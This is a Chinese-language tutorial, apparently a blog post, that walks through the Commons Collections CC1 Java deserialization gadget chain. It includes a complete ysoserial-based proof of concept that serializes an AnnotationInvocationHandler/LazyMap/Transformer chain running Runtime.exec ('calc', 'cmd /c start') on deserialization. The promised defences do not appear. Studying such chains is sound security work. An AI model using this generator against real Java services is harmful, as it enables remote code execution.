准备环境

JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)

JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe

cc3.2:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>

CC简介

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。commons-collections这里简称cc。

CC1、CC2,这里指的不是cc库的版本,而是cc库的不同的利用方式,或者叫poc代码的攻击链构造方式,同时cc库版本对最终的利用结果有较大的影响,所以文章中会先给出对应的JDK版本和commons-collections版本,以便于后期调试不会出现差错。

正文

本文将介绍如何调试 CC1链反序列化漏洞,通过具体示例来展示如何捕获和利用这一漏洞,并最终提供防范措施,帮助开发者在应用中避免此类问题。

CC1链利用了 Apache Commons Collections 中的反序列化漏洞。攻击者通常会构造一个链式对象,其中一个对象会调用另一个对象的方法,最终通过调用一些不安全的方法来执行恶意操作。

以下介绍几个cc1链中非常重要的几个类。

Transformer

Transformer 是 Apache Commons Collections 库中的一个核心接口,用于在 Java 中实现对象转换的功能。它通常与其他一些类一起使用,例如 ChainedTransformerInvokerTransformerConstantTransformer,来构造复杂的反序列化攻击链。在反序列化漏洞利用中,Transformer 主要用于创建对象链,最终实现执行恶意操作的目标。

Transformer 是一个简单的接口,它定义了一个通用的方法 transform(),用于将输入对象转换成输出对象。其基本形式如下:

public interface Transformer {
Object transform(Object var1);
}

ConstantTransformer

ConstantTransformer 类实现了 Transformer 接口,其作用是将所有输入的对象转换为一个常量对象。它通常用于在对象链中生成固定的返回值。

public class ConstantTransformer implements Transformer {
private final Object constant; public ConstantTransformer(Object constant) {
this.constant = constant;
} public Object transform(Object input) {
return constant;
}
}

在反序列化漏洞的利用中,ConstantTransformer 经常被用来将对象转换为某个固定的对象。例如,它可以将任何传入的对象转换为一个 Runtime 类的实例,方便后续链式调用 exec() 方法来执行恶意命令。

InvokerTransformer

InvokerTransformer 是一个非常重要的实现类,它允许调用某个对象的方法并返回结果。它接受方法名和方法参数类型,并执行该方法。

public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args; public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
} // 这个方法中的反射是重点
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}

在反序列化漏洞中,InvokerTransformer 允许攻击者通过构造恶意链来调用目标方法。例如,可以使用 InvokerTransformer 调用 Runtime.getRuntime().exec() 来执行恶意命令。

ChainedTransformer

ChainedTransformer 是一个允许将多个 Transformer 链接起来按顺序执行的类。它接收一个 Transformer 数组,并依次将输入对象传递给每个 Transformer,直到返回最终的转换结果。

public class ChainedTransformer implements Transformer {
private final Transformer[] transformers; public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
} public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}

ChainedTransformer 在反序列化漏洞利用中非常重要,因为它允许攻击者构建一条对象链,每个链环执行特定的恶意操作,最终实现目标操作。

通过Transformer构造调用链

这里是ysoserial中的代码,我们直接改一下拿来用,以方便调试

public class CommonsCollections1 {
static String serialFileName = "commons-collections1.ser"; public static void main(String[] args) throws Exception {
cc1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Transformer chain = (Transformer) ois.readObject();
chain.transform(1);
} public static void cc1bySerial() throws Exception {
String execArgs = "calc";
// 这一段是ysoserial中的CommonsCollections代码
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 下边是自己加的代码,是为了调试
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers); FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(transformerChain);
oos.flush();
oos.close();
fos.close();
}
}

在chain执行完transform方法之后,我们构造的代码被执行,让我们来分析一下代码是如何被执行的。

ChainedTransformer构造调用链

ChainedTransformer 是一个“组合”模式的实现,允许多个 Transformer 组合成一个更复杂的行为。其工作原理是按顺序调用多个 Transformer,每个 Transformer 处理并修改输入对象,直到最终返回一个结果。

ChainedTransformer 接受一个 Transformer[] 数组,在构造时将这些 Transformer 按顺序组合成链。

transform 方法:该方法实现了 Transformer 接口。在此方法中,ChainedTransformer 依次调用每个 Transformer 对输入对象 input 进行转换。每次调用后,转换结果会成为下一个 Transformer 的输入,直到所有 Transformer 都执行完毕,最终返回转换后的结果。

我刚学习的时候好奇,Runtime.getRuntime().exec("calc")为什么不能写成以下这个样子?

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
};
ChainedTransformer chain = new ChainedTransformer(transformers);

这是Runtime.getRuntime()是一个Runtime类下的一个静态方法,无法通过Transformer中的反射方法直接创建实例,所以只能写成下边这样的变种代码:

Transformer[] transformer_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

OK,我们回头来看一下ConstantTransformer和InvokerTransformer是怎么个逻辑。

public class ConstantTransformer implements Transformer {
private final Object constant; public ConstantTransformer(Object constant) {
this.constant = constant;
} public Object transform(Object input) {
return constant;
}
}

InvokerTransformer

public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args; public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
} // 这个方法中的反射是重点
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}

最重要的是ChainedTransformer,它将两个Transformer组合了起来:

public class ChainedTransformer implements Transformer {
private final Transformer[] transformers; public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
}
// 反序列化后调用了这个方法,object任传一个即可
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
// i=0: ConstantTransformer.transform()此时object作为参数值,没有任何用,在transform执行后object对应的值会被覆盖为constant。
// i=1: InvokerTransformer.transform()接收Runtime.class,传入Runtime.class作为input,得到getRuntime方法的Class反射对象
// i=2: 传入getRuntime方法的Class反射对象,得到invoke方法实例
// i=3: 传入invoke的Method方法实例,然后调用exec方法,指定exec方法的参数是cala
object = this.iTransformers[i].transform(object);
}
return object;
}
}
ConstantTransformer {
public Object transform(Object input) {
return constant;
}
}
InvokerTransformer{
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}

上边的调用链代码最终的调用过程非常类似于下边的过程:

// 第一个构造参数调用链
Class<Runtime> runtimeClass = Runtime.class;
Class<? extends Class> runClass = runtimeClass.getClass();
// 第二个参数调用
Method getMethod = runClass.getMethod("getMethod", String.class, Class[].class);
Object getMethodInvoke = getMethod.invoke(runtimeClass, "getRuntime", null);
// 第三个参数调用
Class<?> invokeClass = getMethodInvoke.getClass();
Method invokeMethod = invokeClass.getMethod("invoke", Object.class, Object[].class);
Object invokeMethodInvoke = invokeMethod.invoke(getMethodInvoke, null, null);
// 第四个参数调用
Class<?> execClass = invokeMethodInvoke.getClass();
Method execMethod = execClass.getMethod("exec", String.class);
execMethod.invoke(invokeMethodInvoke, "calc");

现在调用链被找到了,但是其他使用了反序列化的地方肯定不会手动调用transformer方法啊,我们需要找一个能自动调用transformer的地方,比如CC1中提到了以下类:

AbstractMapDecorator

AbstractMapDecorator 是 Apache Commons Collections 中的一个类,它实现了 Map 接口,并且提供了一个装饰器模式的实现,用来装饰一个已有的 Map 实例。AbstractMapDecorator 主要的作用是提供一个框架,允许你通过继承它来对 Map 的行为进行修改或增强。

在反序列化漏洞中,AbstractMapDecorator 是一个常见的类,用来构建复杂的 Map 装饰器,通常与其他类一起使用,配合 LazyMapChainedTransformer 等类,构建出恶意的链条。

AbstractMapDecorator 是一个抽象类,它实际上并不直接操作 Map,而是通过持有一个 Map 实例,并对该实例的方法进行委托(delegation)和扩展,来实现装饰器模式。

public abstract class AbstractMapDecorator<K, V> implements Map<K, V> {
protected final Map<K, V> decorated; protected AbstractMapDecorator(Map<K, V> map) {
this.decorated = map;
} // 接口方法实现,通过委托给装饰的 Map
public V put(K key, V value) {
return decorated.put(key, value);
} public V get(Object key) {
return decorated.get(key);
} public Set<Map.Entry<K, V>> entrySet() {
return decorated.entrySet();
} // 其他 Map 接口方法,通常通过委托实现
}

decorated:这是 AbstractMapDecorator 维护的实际 Map 对象。所有的方法调用都会委托给这个 decoratedMap 实例,AbstractMapDecorator 只是提供了一个框架,可以对 Map 的方法进行增强。

AbstractMapDecorator有多个实现类,如:LazyMap/LazyMapDecorator、TiedMapEntry/TiedMapEntryDecorator、MapEntry/MapEntryDecorator。

LazyMap

LazyMapCommons Collections 中的一个集合类,它的作用是延迟加载数据。即只有在需要的时候(例如通过 get 方法),才会触发 Transformer 链条的执行。在反序列化攻击中,LazyMap 通常用来延迟触发恶意操作,而不是在创建对象时立即执行,这有助于绕过一些检查或避免直接触发攻击。

懒加载LazyMap 在访问某个键时,不会立即返回存储的值,而是通过 Transformer 动态生成。这个过程是懒加载的,只有在访问 get() 方法时才会触发。

触发攻击链:由于 LazyMap 能够在访问键时执行 Transformer,它被广泛用于反序列化攻击中,用来在 get() 方法中触发代码执行链(如调用 Runtime.getRuntime().exec() 执行命令)。

Proxy 和 InvocationHandler

ProxyInvocationHandler 是 Java 动态代理的核心组件,在反序列化链中也经常用来实现一些动态行为:

  1. ProxyProxy 类用于创建一个代理实例,代理对象能够调用指定的 InvocationHandler 进行实际的调用。在反序列化链中,Proxy 可能用来替代一个正常的对象,以触发代理调用的执行。
  2. InvocationHandler:每当 Proxy 对象的方法被调用时,实际的处理逻辑会交由 InvocationHandler 中的 invoke() 方法来处理。在反序列化攻击链中,InvocationHandler 可以被设置成执行危险操作,比如执行外部命令或加载恶意类。

一个简单的关于动态代理的简单例子:

public interface MyInterface {
void sayHello(String name);
}
public class MyInvocationHandler implements InvocationHandler { private Object target; public MyInvocationHandler(Object target) {
this.target = target;
} @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before invoking method: " + method.getName());
// 调用真实对象的方法
Object result = method.invoke(target, args);
System.out.println("After invoking method: " + method.getName());
return result;
}
}
public class DynamicProxyExample {
public static void main(String[] args) {
MyInterface target = new MyInterface() {
@Override
public void sayHello(String name) {
System.out.println("Hello, " + name);
}
}; // 创建 InvocationHandler
InvocationHandler handler = new MyInvocationHandler(target);
// 创建代理对象
MyInterface proxy = (MyInterface) Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
handler
);
// 使用代理对象,直接通过MyInvocationHandler调用到了target中的invoke方法
proxy.sayHello("World");
}
}

构造完整POC(基于ysoserial)

ysoserial中写了一些工具类来方便使用,但是这里直接把ysoserial中的代码择出来了,以便于调试学习,也对代码进行了小的调整,但区别不大。

public static void cc1bySerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 首先通过反射获取 AnnotationInvocationHandler 类的构造函数,并且确保这个构造函数可以被访问。然后通过类名加载 AnnotationInvocationHandler 类,获取该类的第一个构造函数。由于 AnnotationInvocationHandler 类的构造函数可能是私有的,调用 setAccessible(true) 可以让我们绕过 Java 的访问控制机制,允许通过反射创建其实例。
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// 使用反射创建一个 AnnotationInvocationHandler 的实例,并将 Target.class 和 lazyMap 作为构造函数的参数传入,其中 Documented.class 是 AnnotationInvocationHandler 的第一个参数(其实用什么都行,找任意一个有属性的注解都可以),lazyMap 是第二个参数。得到的handler是一个实现了 InvocationHandler 接口的实例,用于处理方法调用。此时,handler可以通过 lazyMap 进行一些动态行为处理,比如懒加载或代理。
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
// 通过 Proxy.newProxyInstance() 创建 LazyMap 的动态代理实例,代理对象会将方法调用委托给我们之前创建的 handler。
// LazyMap.class.getClassLoader():指定代理类的类加载器为 LazyMap 的类加载器。
// LazyMap.class.getInterfaces():指定代理类需要实现的接口,这里是 LazyMap 接口。
// handler:指定一个 InvocationHandler,这个 handler 会拦截对 LazyMap 代理实例的方法调用并执行自定义的逻辑。
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 再次使用反射,创建一个新的 AnnotationInvocationHandler 实例,并将 Documented.class 和 mapProxy 作为构造函数的参数,mapProxy 是上一步创建的 LazyMap 的动态代理对象,在这里作为参数传递给 AnnotationInvocationHandler,所以 AnnotationInvocationHandler 会被赋予一个处理懒加载行为的代理对象。
// 这意味着 AnnotationInvocationHandler 现在会在某些方法调用时与 mapProxy 交互,而 mapProxy 的方法调用会被委托给我们提供的 handler,后者在内部可以处理懒加载或其他定制的行为。
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
fos.close();
}

总结起来就是,我们要触发AnnotationInvocationHandler中的invoke方法,而这个方法会在动态代理过程中被调用。

最后让我们运行一下,弹一个cmd窗口吧,注意这份代码只有在JDK<8u21的版本下运行才可以,推荐直接使用JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe,最后看下运行效果

调用链总结 - ysoserial

ObjectInputStream.readObject()

AnnotationInvocationHandler.readObject()

Map(Proxy).entrySet()

AnnotationInvocationHandler.invoke()

LazyMap.get()

ChainedTransformer.transform()

ConstantTransformer.transform()

InvokerTransformer.transform()

Method.invoke()

Class.getMethod()

InvokerTransformer.transform()

Method.invoke()

Runtime.getRuntime()

InvokerTransformer.transform()

Method.invoke()

Runtime.exec()

CommonsCollections1(基于ysoserial)的更多相关文章

  1. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  2. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  3. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  4. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

  5. ysoserial源码结构分析

    1.前言 之前也花了几天晚上熟悉了一下commonscollections系列的构造,那么学习一下这个项目是如何设计的也挺重要,多学习大佬如何写代码应该也能对自己的代码能力有提升吧~2333 2.项目 ...

  6. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  7. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  8. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  9. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  10. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

随机推荐

  1. csdn 下载券恶心之处

    今天在csdn碰到一个恶心事,啥事呢?下载券.详细的说,就是人家码友把下载积分都设置成0了,让大家自行下载.结果,却不行,非得搞个下载券,得去做任务,给它的广告爹爹们点点任务才能获取下载券的code. ...

  2. CMake构建学习笔记14-依赖库管理工具

    如果说做C/C++开发最大的痛点是什么,那么一定是缺少一个官方的统一的包管理器.认真的说,如果你要用C/C++干点什么,至少需要(Windows系统下): C/C++语言本身.标准库.以及操作系统AP ...

  3. Heart Rate Variability - HRV

    一次心跳波形 心率变异性 通常希望HRV 越高越好 HRV 公式: 需要指出的是,心率变异性会有多种计算公式. HRV数值相对越小=当天压力越大/身体越疲劳:HRV数值相对越大=当天压力越小/身体状态 ...

  4. Git Bash OpenSSL – Generate Self Signed Certificate

    前言 以前就写过了, 只是写的太乱, 这篇是一个整理版. 以前的文章: Git Bash 创建证书 PowerShell 创建证书 我已经没有用 PowerSheel 做证书了, 所以就不介绍了. 参 ...

  5. linux 映射windows 下的共享文件夹

    linux 映射windows 下的共享文件夹     本文讯]2021年4月27日  在对接第三方系统,进行数据采集的时候,对方给了我们一个文件夹,里面全是txt文件,这个时候就要想办法获取他们数据 ...

  6. QT网络编程之如何使用QT6框架QTcpServer和QTcpSocket网络编程实现变长数据包收发:以用户注册和登录为实例讲解

    QT网络编程之如何使用QT6框架QTcpServer和QTcpSocket网络编程实现变长数据包收发:以用户注册和登录为实例讲解 简介 本文将介绍如何使用QT6框架QTcpServer和QTcpSoc ...

  7. Java Web 拾遗

    许是年纪大了,老是回忆起以前的点点滴滴.翻看当初的代码,如同偶遇多年未见的前女友,曾经一起深入交流的情谊在颔首之间消散,令人烦躁. 今天就来聊聊老生常谈的 Java Web 开发.缘于一个简单的Spr ...

  8. 《Vue.js 设计与实现》读书笔记(1-3章)

    第 1 章.权衡的艺术 命令式 or 声明式 命令式:关注过程 声明式:关注结果 声明式直接声明想要的结果,框架帮用户封装好命令式的代码,所以在封装的过程中要做一些其他的事情来(生成要做的事情/找出差 ...

  9. 关于Android Q平台上qssi的介绍

    QSSI 是 Qualcomm Single System Image 的缩写. Android Q上开始支持QSSI. QSSI 是用来编译system.img的3.1 QSSI编译注意事项 lun ...

  10. Android Perfetto 系列 3:熟悉 Perfetto View

    1. Perfetto View 界面 抓到 Perfetto Trace 之后,一般是在 ui.perfetto.dev 中打开(如果用官方提供的脚本,则会在抓去结束后自动在这个网站上打开,想看看怎 ...